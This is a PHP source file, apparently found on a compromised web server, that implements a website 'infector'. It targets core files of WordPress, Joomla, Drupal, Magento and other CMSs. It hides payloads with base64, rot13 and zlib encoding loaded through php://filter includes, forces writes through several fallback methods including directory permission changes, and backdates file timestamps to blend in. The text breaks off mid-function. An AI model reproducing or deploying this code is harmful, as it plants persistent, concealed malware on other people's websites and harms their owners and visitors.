| Current Path : /home/echanges/www2/ |
| Current File : /home/echanges/www2/any_infector_.php |
<?php
@set_time_limit(0);
$DEBUG = isset($_GET['debug']) ? (bool)$_GET['debug'] : false;
$MODE = 'add';
$SITE_ROOT = '';
$PAYLOAD_FILE = '';
$INFO_FILE = 'information.txt';
$FOLDER_COUNT = 10;
$RESOURCE_FOLDERS = 30;
$RAND_PHP_FILE = 10;
$RECOVER_INDEX = true;
$RECOVER_PHP_FILE = 5;
$LOG_FILE = 'any_infector_debug.log';
$RES_INFO = true;
$RUN_METHOD = true;
$MULTI_ANNOTATION = 'pthk';
$INFO_KEY = '@1jth_|Q_C>I4hcr';
$TARGET_FILES = array(
array('type' => 'fixed', 'path' => 'index.php'),
array('type' => 'fixed', 'path' => 'wp-blog-header.php'),
array('type' => 'fixed', 'path' => 'wp-load.php'),
array('type' => 'fixed', 'path' => 'wp-config.php'),
array('type' => 'rand', 'path' => 'wp-settings.php'),
array('type' => 'rand', 'path' => 'wp-includes/version.php'),
array('type' => 'rand', 'path' => 'wp-includes/compat.php'),
array('type' => 'rand', 'path' => 'wp-includes/load.php'),
array('type' => 'rand', 'path' => 'wp-includes/class-wp-widget.php'),
array('type' => 'rand', 'path' => 'libraries/loader.php'),
array('type' => 'rand', 'path' => 'libraries/src/Session/Session.php'),
array('type' => 'rand', 'path' => 'includes/bootstrap.inc'),
array('type' => 'rand', 'path' => 'vendor/composer/autoload_real.php'),
array('type' => 'rand', 'path' => '../app/bootstrap.php'),
);
define('WP_INDEX_ORIGINAL', 'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK');
define('_ME_RUNNING_DIR', isset($GLOBALS['____SCRIPT_DIR'])
? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR'])
: str_replace('\\', '/', dirname(__FILE__)));
define('_ME_RUNNING_FILE', isset($GLOBALS['____SCRIPT_FILE'])
? $GLOBALS['____SCRIPT_FILE']
: __FILE__);
define('_ME_IS_WRAPPED', isset($GLOBALS['____SCRIPT_DIR']));
function CMS_SIGNATURES() {
return array(
'wp-config.php', 'wp-blog-header.php', 'wp-load.php', 'wp-settings.php',
'configuration.php', 'includes/app.php', 'libraries/loader.php',
'sites/default/settings.php', 'core/lib/Drupal.php', 'autoload.php',
'app/etc/env.php', 'app/etc/config.php', 'bin/magento',
'app/Mage.php', 'app/etc/local.xml',
'artisan', 'bootstrap/app.php', 'vendor/autoload.php',
'symfony.lock', 'config/bundles.php',
'yii', 'web/index.php', 'protected/config/main.php',
'system/index.php',
'config.php', 'system/startup.php',
'config/settings.inc.php',
'composer.json', 'vendor/autoload.php',
);
}
function CMS_SIGNATURE_MAP() {
return array(
'wp-config.php' => 'wordpress',
'wp-blog-header.php' => 'wordpress',
'wp-load.php' => 'wordpress',
'wp-settings.php' => 'wordpress',
'configuration.php' => 'joomla',
'includes/app.php' => 'joomla',
'libraries/loader.php' => 'joomla',
'sites/default/settings.php' => 'drupal',
'core/lib/Drupal.php' => 'drupal',
'autoload.php' => 'generic',
'app/etc/env.php' => 'magento2',
'app/etc/config.php' => 'magento2',
'bin/magento' => 'magento2',
'app/Mage.php' => 'magento1',
'app/etc/local.xml' => 'magento1',
'artisan' => 'laravel',
'bootstrap/app.php' => 'laravel',
'vendor/autoload.php' => 'generic',
'symfony.lock' => 'symfony',
'config/bundles.php' => 'symfony',
'yii' => 'yii',
'web/index.php' => 'yii',
'protected/config/main.php' => 'yii1',
'system/index.php' => 'codeigniter',
'config.php' => 'generic',
'system/startup.php' => 'opencart',
'config/settings.inc.php' => 'prestashop',
'composer.json' => 'generic',
);
}
function cms_name_for_signature($sig) {
$map = CMS_SIGNATURE_MAP();
return isset($map[$sig]) ? $map[$sig] : '';
}
function CMS_SYSTEM_DIRS() {
return array(
'wordpress' => array('wp-includes', 'wp-content/plugins', 'wp-content/mu-plugins', 'wp-content/themes'),
'joomla' => array('libraries', 'includes', 'plugins', 'administrator/components', 'components', 'modules', 'templates'),
'drupal' => array('includes', 'core/includes', 'core/lib', 'modules', 'themes'),
'magento2' => array('app', 'lib/internal', 'app/design'),
'magento1' => array('app', 'lib', 'app/design'),
'laravel' => array('app', 'bootstrap', 'routes'),
'symfony' => array('src'),
'yii2' => array('controllers', 'models', 'components', 'modules', 'themes'),
'yii1' => array('protected', 'themes'),
'opencart' => array('system', 'catalog/controller', 'catalog/view/theme'),
'prestashop' => array('classes', 'controllers', 'modules', 'themes'),
'codeigniter' => array('system', 'application'),
'discuz' => array('source', 'uc_client', 'uc_server', 'source/plugin', 'template'),
'thinkphp' => array('thinkphp', 'application', 'app'),
);
}
function PHP_FILE_EXTS() {
return array('php', 'inc', 'php5', 'php7', 'phtml', 'module', 'install', 'profile', 'engine');
}
function SKIP_DIRS() {
return array(
'.', '..', '.git', '.svn', '.hg',
'node_modules', 'vendor', 'bower_components',
'cache', 'tmp', 'temp', 'logs', 'log',
'session', 'sessions',
);
}
function RESOURCE_KEYWORDS() {
return array(
'media', 'css', 'js', 'img', 'images', 'image',
'fonts', 'font', 'uploads', 'upload',
'assets', 'asset', 'static', 'public',
'themes', 'theme', 'templates', 'template',
'dist', 'build', 'lib', 'libraries',
'icons', 'icon', 'sounds', 'sound',
'videos', 'video', 'docs', 'doc',
'files', 'file', 'data', 'resources',
);
}
function RESOURCE_EXTS() {
return array(
'.css', '.js', '.png', '.gif', '.svg', '.jpg', '.jpeg', '.webp',
'.woff', '.woff2', '.ttf', '.eot', '.scss', '.min.css', '.min.js',
'.php', '.txt', '.ico', '.xml', '.json', '.map', '.md',
'.html', '.htm', '.less', '.sass', '.csv', '.pdf',
);
}
function COMMON_FOLDERS() {
return array(
"wp-admin/css" => "about-rtl.css,about-rtl.min.css,about.css,about.min.css,admin-menu-rtl.css,admin-menu-rtl.min.css,admin-menu.css,admin-menu.min.css,code-editor-rtl.css,code-editor-rtl.min.css,code-editor.css,code-editor.min.css,color-picker-rtl.css,color-picker-rtl.min.css,color-picker.css,color-picker.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,customize-controls-rtl.css,customize-controls-rtl.min.css,customize-controls.css,customize-controls.min.css,customize-nav-menus-rtl.css,customize-nav-menus-rtl.min.css,customize-nav-menus.css,customize-nav-menus.min.css,customize-widgets-rtl.css,customize-widgets-rtl.min.css,customize-widgets.css,customize-widgets.min.css,dashboard-rtl.css,dashboard-rtl.min.css,dashboard.css,dashboard.min.css,deprecated-media-rtl.css,deprecated-media-rtl.min.css,deprecated-media.css,deprecated-media.min.css,edit-rtl.css,edit-rtl.min.css,edit.css,edit.min.css,farbtastic-rtl.css,farbtastic-rtl.min.css,farbtastic.css,farbtastic.min.css,forms-rtl.css,forms-rtl.min.css,forms.css,forms.min.css,install-rtl.css,install-rtl.min.css,install.css,install.min.css,l10n-rtl.css,l10n-rtl.min.css,l10n.css,l10n.min.css,list-tables-rtl.css,list-tables-rtl.min.css,list-tables.css,list-tables.min.css,login-rtl.css,login-rtl.min.css,login.css,login.min.css,media-rtl.css,media-rtl.min.css,media.css,media.min.css,nav-menus-rtl.css,nav-menus-rtl.min.css,nav-menus.css,nav-menus.min.css,revisions-rtl.css,revisions-rtl.min.css,revisions.css,revisions.min.css,site-health-rtl.css,site-health-rtl.min.css,site-health.css,site-health.min.css,site-icon-rtl.css,site-icon-rtl.min.css,site-icon.css,site-icon.min.css,themes-rtl.css,themes-rtl.min.css,themes.css,themes.min.css,view-transitions.css,view-transitions.min.css,widgets-rtl.css,widgets-rtl.min.css,widgets.css,widgets.min.css,wp-admin-rtl.css,wp-admin-rtl.min.css,wp-admin.css,wp-admin.min.css",
"wp-admin/css/colors/blue" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/css/colors/coffee" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/css/colors/ectoplasm" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/css/colors/light" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/css/colors/midnight" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/css/colors/modern" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/css/colors/ocean" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/css/colors/sunrise" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
"wp-admin/images" => "about-texture.png,align-center-2x.png,align-center.png,align-left-2x.png,align-left.png,align-none-2x.png,align-none.png,align-right-2x.png,align-right.png,arrows-2x.png,arrows.png,browser-rtl.png,browser.png,bubble_bg-2x.gif,bubble_bg.gif,comment-grey-bubble-2x.png,comment-grey-bubble.png,date-button-2x.gif,date-button.gif,freedom-1.svg,freedom-2.svg,freedom-3.svg,freedom-4.svg,generic.png,icons32-2x.png,icons32-vs-2x.png,icons32-vs.png,icons32.png,imgedit-icons-2x.png,imgedit-icons.png,list-2x.png,list.png,loading.gif,marker.png,mask.png,media-button-2x.png,media-button-image.gif,media-button-music.gif,media-button-other.gif,media-button-video.gif,media-button.png,menu-2x.png,menu-vs-2x.png,menu-vs.png,menu.png,no.png,post-formats-vs.png,post-formats.png,post-formats32-vs.png,post-formats32.png,privacy.svg,resize-2x.gif,resize-rtl-2x.gif,resize-rtl.gif,resize.gif,se.png,sort-2x.gif,sort.gif,spinner-2x.gif,spinner.gif,stars-2x.png,stars.png,w-logo-blue.png,w-logo-white.png,wheel.png,wordpress-logo-white.svg,wordpress-logo.png,wordpress-logo.svg,wpspin_light-2x.gif,wpspin_light.gif,xit-2x.gif,xit.gif,yes.png",
"wp-admin/js" => "accordion.js,accordion.min.js,application-passwords.js,application-passwords.min.js,auth-app.js,auth-app.min.js,code-editor.js,code-editor.min.js,color-picker.js,color-picker.min.js,comment.js,comment.min.js,common.js,common.min.js,custom-background.js,custom-background.min.js,custom-header.js,customize-controls.js,customize-controls.min.js,customize-nav-menus.js,customize-nav-menus.min.js,customize-widgets.js,customize-widgets.min.js,dashboard.js,dashboard.min.js,edit-comments.js,edit-comments.min.js,editor-expand.js,editor-expand.min.js,editor.js,editor.min.js,farbtastic.js,gallery.js,gallery.min.js,image-edit.js,image-edit.min.js,inline-edit-post.js,inline-edit-post.min.js,inline-edit-tax.js,inline-edit-tax.min.js,iris.min.js,language-chooser.js,language-chooser.min.js,link.js,link.min.js,media-gallery.js,media-gallery.min.js,media-upload.js,media-upload.min.js,media.js,media.min.js,nav-menu.js,nav-menu.min.js,password-strength-meter.js,password-strength-meter.min.js,plugin-install.js,plugin-install.min.js,post.js,post.min.js,postbox.js,postbox.min.js,privacy-tools.js,privacy-tools.min.js,revisions.js,revisions.min.js,set-post-thumbnail.js,set-post-thumbnail.min.js,site-health.js,site-health.min.js,svg-painter.js,svg-painter.min.js,tags-box.js,tags-box.min.js,tags-suggest.js,tags-suggest.min.js,tags.js,tags.min.js,theme-plugin-editor.js,theme-plugin-editor.min.js,theme.js,theme.min.js,updates.js,updates.min.js,user-profile.js,user-profile.min.js,user-suggest.js,user-suggest.min.js,widgets.js,widgets.min.js,word-count.js,word-count.min.js,xfn.js,xfn.min.js",
"wp-admin/js/widgets" => "custom-html-widgets.js,custom-html-widgets.min.js,media-audio-widget.js,media-audio-widget.min.js,media-gallery-widget.js,media-gallery-widget.min.js,media-image-widget.js,media-image-widget.min.js,media-video-widget.js,media-video-widget.min.js,media-widgets.js,media-widgets.min.js,text-widgets.js,text-widgets.min.js",
"wp-includes/css" => "admin-bar-rtl.css,admin-bar-rtl.min.css,admin-bar.css,admin-bar.min.css,buttons-rtl.css,buttons-rtl.min.css,buttons.css,buttons.min.css,classic-themes.css,classic-themes.min.css,customize-preview-rtl.css,customize-preview-rtl.min.css,customize-preview.css,customize-preview.min.css,dashicons.css,dashicons.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,jquery-ui-dialog-rtl.css,jquery-ui-dialog-rtl.min.css,jquery-ui-dialog.css,jquery-ui-dialog.min.css,media-views-rtl.css,media-views-rtl.min.css,media-views.css,media-views.min.css,wp-auth-check-rtl.css,wp-auth-check-rtl.min.css,wp-auth-check.css,wp-auth-check.min.css,wp-block-template-skip-link-rtl.css,wp-block-template-skip-link-rtl.min.css,wp-block-template-skip-link.css,wp-block-template-skip-link.min.css,wp-embed-template-ie.css,wp-embed-template-ie.min.css,wp-embed-template.css,wp-embed-template.min.css,wp-empty-template-alert.css,wp-empty-template-alert.min.css,wp-pointer-rtl.css,wp-pointer-rtl.min.css,wp-pointer.css,wp-pointer.min.css",
"wp-includes/css/dist/block-directory" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/block-editor" => "content-rtl.css,content-rtl.min.css,content.css,content.min.css,default-editor-styles-rtl.css,default-editor-styles-rtl.min.css,default-editor-styles.css,default-editor-styles.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/block-library" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,editor-elements-rtl.css,editor-elements-rtl.min.css,editor-elements.css,editor-elements.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,elements-rtl.css,elements-rtl.min.css,elements.css,elements.min.css,reset-rtl.css,reset-rtl.min.css,reset.css,reset.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css,theme-rtl.css,theme-rtl.min.css,theme.css,theme.min.css",
"wp-includes/css/dist/components" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/customize-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/edit-post" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/edit-site" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/edit-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/editor" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/format-library" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/list-reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/nux" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/css/dist/widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
"wp-includes/fonts" => "dashicons.eot,dashicons.svg,dashicons.ttf,dashicons.woff,dashicons.woff2",
"wp-includes/images" => "admin-bar-sprite-2x.png,admin-bar-sprite.png,arrow-pointer-blue-2x.png,arrow-pointer-blue.png,blank.gif,down_arrow-2x.gif,down_arrow.gif,icon-pointer-flag-2x.png,icon-pointer-flag.png,rss-2x.png,rss.png,spinner-2x.gif,spinner.gif,toggle-arrow-2x.png,toggle-arrow.png,uploader-icons-2x.png,uploader-icons.png,w-logo-blue-white-bg.png,w-logo-blue.png,wpicons-2x.png,wpicons.png,wpspin-2x.gif,wpspin.gif,xit-2x.gif,xit.gif",
"wp-includes/images/crystal" => "archive.png,audio.png,code.png,default.png,document.png,interactive.png,license.txt,spreadsheet.png,text.png,video.png",
"wp-includes/images/media" => "archive.png,archive.svg,audio.png,audio.svg,code.png,code.svg,default.png,default.svg,document.png,document.svg,interactive.png,interactive.svg,spreadsheet.png,spreadsheet.svg,text.png,text.svg,video.png,video.svg",
"wp-includes/images/smilies" => "frownie.png,icon_arrow.gif,icon_biggrin.gif,icon_confused.gif,icon_cool.gif,icon_cry.gif,icon_eek.gif,icon_evil.gif,icon_exclaim.gif,icon_idea.gif,icon_lol.gif,icon_mad.gif,icon_mrgreen.gif,icon_neutral.gif,icon_question.gif,icon_razz.gif,icon_redface.gif,icon_rolleyes.gif,icon_sad.gif,icon_smile.gif,icon_surprised.gif,icon_twisted.gif,icon_wink.gif,mrgreen.png,rolleyes.png,simple-smile.png",
"wp-includes/js" => "admin-bar.js,admin-bar.min.js,api-request.js,api-request.min.js,autosave.js,autosave.min.js,backbone.js,backbone.min.js,clipboard.js,clipboard.min.js,colorpicker.js,colorpicker.min.js,comment-reply.js,comment-reply.min.js,customize-base.js,customize-base.min.js,customize-loader.js,customize-loader.min.js,customize-models.js,customize-models.min.js,customize-preview-nav-menus.js,customize-preview-nav-menus.min.js,customize-preview-widgets.js,customize-preview-widgets.min.js,customize-preview.js,customize-preview.min.js,customize-selective-refresh.js,customize-selective-refresh.min.js,customize-views.js,customize-views.min.js,heartbeat.js,heartbeat.min.js,hoverintent-js.min.js,hoverintent.js,hoverintent.min.js,imagesloaded.min.js,json2.js,json2.min.js,masonry.min.js,mce-view.js,mce-view.min.js,media-audiovideo.js,media-audiovideo.min.js,media-editor.js,media-editor.min.js,media-grid.js,media-grid.min.js,media-models.js,media-models.min.js,media-views.js,media-views.min.js,quicktags.js,quicktags.min.js,shortcode.js,shortcode.min.js,swfobject.js,swfobject.min.js,tw-sack.js,tw-sack.min.js,twemoji.js,twemoji.min.js,underscore.js,underscore.min.js,utils.js,utils.min.js,wp-ajax-response.js,wp-ajax-response.min.js,wp-api.js,wp-api.min.js,wp-auth-check.js,wp-auth-check.min.js,wp-backbone.js,wp-backbone.min.js,wp-custom-header.js,wp-custom-header.min.js,wp-embed-template.js,wp-embed-template.min.js,wp-embed.js,wp-embed.min.js,wp-emoji-loader.js,wp-emoji-loader.min.js,wp-emoji-release.min.js,wp-emoji.js,wp-emoji.min.js,wp-list-revisions.js,wp-list-revisions.min.js,wp-lists.js,wp-lists.min.js,wp-pointer.js,wp-pointer.min.js,wp-sanitize.js,wp-sanitize.min.js,wp-util.js,wp-util.min.js,wpdialog.js,wpdialog.min.js,wplink.js,wplink.min.js,zxcvbn-async.js,zxcvbn-async.min.js,zxcvbn.min.js",
"wp-includes/js/codemirror" => "codemirror.min.css,codemirror.min.js,csslint.js,espree.min.js,esprima.js,fakejshint.js,htmlhint-kses.js,htmlhint.js,jsonlint.js",
"wp-includes/js/crop" => "cropper.css,cropper.js,marqueehoriz.gif,marqueevert.gif",
"wp-includes/js/dist" => "a11y.js,a11y.min.js,annotations.js,annotations.min.js,api-fetch.js,api-fetch.min.js,autop.js,autop.min.js,base-styles.js,base-styles.min.js,blob.js,blob.min.js,block-directory.js,block-directory.min.js,block-editor.js,block-editor.min.js,block-library.js,block-library.min.js,block-serialization-default-parser.js,block-serialization-default-parser.min.js,blocks.js,blocks.min.js,components.js,components.min.js,compose.js,compose.min.js,core-data.js,core-data.min.js,data-controls.js,data-controls.min.js,data.js,data.min.js,date.js,date.min.js,deprecated.js,deprecated.min.js,dom-ready.js,dom-ready.min.js,dom.js,dom.min.js,edit-post.js,edit-post.min.js,edit-site.js,edit-site.min.js,editor.js,editor.min.js,element.js,element.min.js,escape-html.js,escape-html.min.js,format-library.js,format-library.min.js,html-entities.js,html-entities.min.js,i18n.js,i18n.min.js,is-shallow-equal.js,is-shallow-equal.min.js,keyboard-shortcuts.js,keyboard-shortcuts.min.js,keycodes.js,keycodes.min.js,list-reusable-blocks.js,list-reusable-blocks.min.js,media-utils.js,media-utils.min.js,notices.js,notices.min.js,nux.js,nux.min.js,plugins.js,plugins.min.js,primitives.js,primitives.min.js,priority-queue.js,priority-queue.min.js,redux-routine.js,redux-routine.min.js,rich-text.js,rich-text.min.js,server-side-render.js,server-side-render.min.js,shortcode.js,shortcode.min.js,token-list.js,token-list.min.js,url.js,url.min.js,viewport.js,viewport.min.js,warning.js,warning.min.js,wordcount.js,wordcount.min.js",
"wp-includes/js/jcrop" => "jcrop.gif,jquery.jcrop.min.css,jquery.jcrop.min.js",
"wp-includes/js/jquery" => "jquery-migrate.js,jquery-migrate.min.js,jquery.color.min.js,jquery.form.js,jquery.form.min.js,jquery.hotkeys.js,jquery.hotkeys.min.js,jquery.js,jquery.masonry.min.js,jquery.min.js,jquery.query.js,jquery.schedule.js,jquery.serialize-object.js,jquery.table-hotkeys.js,jquery.table-hotkeys.min.js,jquery.ui.touch-punch.js,suggest.js,suggest.min.js",
"wp-includes/js/jquery/ui" => "accordion.js,accordion.min.js,autocomplete.js,autocomplete.min.js,button.js,button.min.js,checkboxradio.js,checkboxradio.min.js,controlgroup.js,controlgroup.min.js,core.js,core.min.js,datepicker.js,datepicker.min.js,dialog.js,dialog.min.js,draggable.js,draggable.min.js,droppable.js,droppable.min.js,effect-blind.js,effect-blind.min.js,effect-bounce.js,effect-bounce.min.js,effect-clip.js,effect-clip.min.js,effect-drop.js,effect-drop.min.js,effect-explode.js,effect-explode.min.js,effect-fade.js,effect-fade.min.js,effect-fold.js,effect-fold.min.js,effect-highlight.js,effect-highlight.min.js,effect-puff.js,effect-puff.min.js,effect-pulsate.js,effect-pulsate.min.js,effect-scale.js,effect-scale.min.js,effect-shake.js,effect-shake.min.js,effect-size.js,effect-size.min.js,effect-slide.js,effect-slide.min.js,effect-transfer.js,effect-transfer.min.js,effect.js,effect.min.js,menu.js,menu.min.js,mouse.js,mouse.min.js,progressbar.js,progressbar.min.js,resizable.js,resizable.min.js,selectable.js,selectable.min.js,selectmenu.js,selectmenu.min.js,slider.js,slider.min.js,sortable.js,sortable.min.js,spinner.js,spinner.min.js,tabs.js,tabs.min.js,tooltip.js,tooltip.min.js",
"wp-includes/js/mediaelement" => "mediaelement-and-player.js,mediaelement-and-player.min.js,mediaelement-migrate.js,mediaelement-migrate.min.js,mediaelement.js,mediaelement.min.js,mediaelementplayer-legacy.css,mediaelementplayer-legacy.min.css,mediaelementplayer.css,mediaelementplayer.min.css,mejs-controls.png,mejs-controls.svg,wp-mediaelement.css,wp-mediaelement.js,wp-mediaelement.min.css,wp-mediaelement.min.js,wp-playlist.js,wp-playlist.min.js",
"wp-includes/js/plupload" => "handlers.js,handlers.min.js,license.txt,moxie.js,moxie.min.js,plupload.js,plupload.min.js,wp-plupload.js,wp-plupload.min.js",
"wp-includes/js/thickbox" => "loadinganimation.gif,macffbghack.png,thickbox.css,thickbox.js",
"wp-includes/js/tinymce/langs" => "wp-langs-en.js",
"wp-includes/js/tinymce/plugins/charmap" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/colorpicker" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/directionality" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/fullscreen" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/hr" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/image" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/link" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/lists" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/media" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/paste" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/tabfocus" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/textcolor" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wordpress" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wpautoresize" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wpdialogs" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wpeditimage" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wpemoji" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wpgallery" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wplink" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wptextpattern" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/plugins/wpview" => "plugin.js,plugin.min.js",
"wp-includes/js/tinymce/skins/lightgray/fonts" => "tinymce-small.eot,tinymce-small.svg,tinymce-small.ttf,tinymce-small.woff,tinymce.eot,tinymce.svg,tinymce.ttf,tinymce.woff",
"wp-includes/js/tinymce/skins/lightgray/img" => "anchor.gif,loader.gif,object.gif,trans.gif",
"wp-includes/js/tinymce/skins/wordpress/images" => "audio.png,dashicon-edit.png,dashicon-no.png,embedded.png,gallery-2x.png,gallery.png,more-2x.png,more.png,pagebreak-2x.png,pagebreak.png,playlist-audio.png,playlist-video.png,script.svg,style.svg,video.png",
"wp-includes/js/tinymce/themes/inlite" => "theme.js,theme.min.js",
"wp-includes/js/tinymce/themes/modern" => "theme.js,theme.min.js",
);
}
$_hasZlib = in_array('zlib.*', stream_get_filters());
function get_filter_chain() {
global $_hasZlib;
if ($_hasZlib) {
return 'zlib.inflate|string.rot13|convert.base64-decode';
}
return 'string.rot13|convert.base64-decode';
}
function encode_payload_content($rawContent) {
global $_hasZlib;
$clean = preg_replace('/^<\?php\s*/i', '', trim($rawContent));
$clean = preg_replace('/\?>\s*$/i', '', $clean);
$guarded = '<?php if(!defined("_R4X7M2K9P1Q5")){define("_R4X7M2K9P1Q5",1);' . $clean . '}';
$encoded = base64_encode($guarded);
$encoded = str_rot13($encoded);
if ($_hasZlib) {
$encoded = gzdeflate($encoded);
}
_log('DEBUG', 'Payload encoded: ' . strlen($rawContent) . ' raw -> ' . strlen($encoded) . ' encoded (zlib=' . ($_hasZlib ? 'yes' : 'no') . ')');
return $encoded;
}
function build_filter_include_path($relativePath) {
$chain = get_filter_chain();
return "php://filter/read=$chain/resource=$relativePath";
}
function write_encoded_payload($rawContent, $dstPath) {
$encoded = encode_payload_content($rawContent);
@chmod($dstPath, 0644);
if (@file_put_contents($dstPath, $encoded) !== false) {
_log('DEBUG', "Encoded write succeeded (m1 file_put_contents): $dstPath");
return true;
}
$dst = @fopen($dstPath, 'wb');
if ($dst) {
fwrite($dst, $encoded);
fclose($dst);
if (is_file($dstPath)) {
_log('DEBUG', "Encoded write succeeded (m2 stream): $dstPath");
return true;
}
}
$dir = dirname($dstPath);
$temp = @tempnam($dir, 'tmp');
if ($temp !== false) {
if (@file_put_contents($temp, $encoded) !== false) {
@chmod($dstPath, 0644);
if (@rename($temp, $dstPath)) {
_log('DEBUG', "Encoded write succeeded (m3 tempnam+rename): $dstPath");
return true;
}
}
@unlink($temp);
}
$oldDirMode = @fileperms($dir);
$chmodded = false;
if ($oldDirMode !== false) {
$chmodded = @chmod($dir, 0755);
}
@unlink($dstPath);
$ok4 = @file_put_contents($dstPath, $encoded);
if ($chmodded && $oldDirMode !== false) @chmod($dir, $oldDirMode);
if ($ok4 !== false) {
_log('DEBUG', "Encoded write succeeded (m4 dir-swap): $dstPath");
return true;
}
_log('WARN', "All write methods failed for: $dstPath");
return false;
}
$_logs = array();
function _log($level, $msg) {
global $_logs, $DEBUG, $LOG_FILE;
$line = date('Y-m-d H:i:s') . " [$level] $msg";
$_logs[] = $line;
if ($DEBUG) {
if (php_sapi_name() === 'cli') {
fwrite(STDERR, $line . "\n");
}
@file_put_contents($LOG_FILE, $line . "\n", FILE_APPEND);
}
}
function crypto_rand_int($min, $max) {
if (function_exists('random_int')) {
return random_int($min, $max);
}
return mt_rand($min, $max);
}
function random_case_string($str) {
$out = '';
$hasUpper = false;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$ch = $str[$i];
if (ctype_alpha($ch)) {
if (mt_rand(0, 1) === 1) { $out .= strtoupper($ch); $hasUpper = true; }
else { $out .= $ch; }
} else {
$out .= $ch;
}
}
if (!$hasUpper) {
$alphas = array();
for ($i = 0; $i < $len; $i++) if (ctype_alpha($str[$i])) $alphas[] = $i;
if (!empty($alphas)) {
$p = $alphas[mt_rand(0, count($alphas) - 1)];
$out[$p] = strtoupper($out[$p]);
}
}
return $out;
}
function blend_file_mtime($filePath) {
$dir = dirname($filePath);
$ext = '.' . pathinfo($filePath, PATHINFO_EXTENSION);
$extLen = strlen($ext);
$siblings = @scandir($dir);
if (!$siblings || count($siblings) <= 2) {
$target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400);
_log('INFO', 'mtime blend (' . basename($filePath) . '): no siblings → random past: ' . date('Y-m-d', $target));
$ok = @touch($filePath, $target);
_log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)'));
return $ok;
}
$mtimes = array();
foreach ($siblings as $f) {
if ($f === '.' || $f === '..') continue;
if (substr($f, -$extLen) !== $ext) continue;
$full = $dir . '/' . $f;
if (realpath($full) === realpath($filePath)) continue;
$mt = @filemtime($full);
if ($mt !== false) $mtimes[] = $mt;
}
if (empty($mtimes)) {
$target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400);
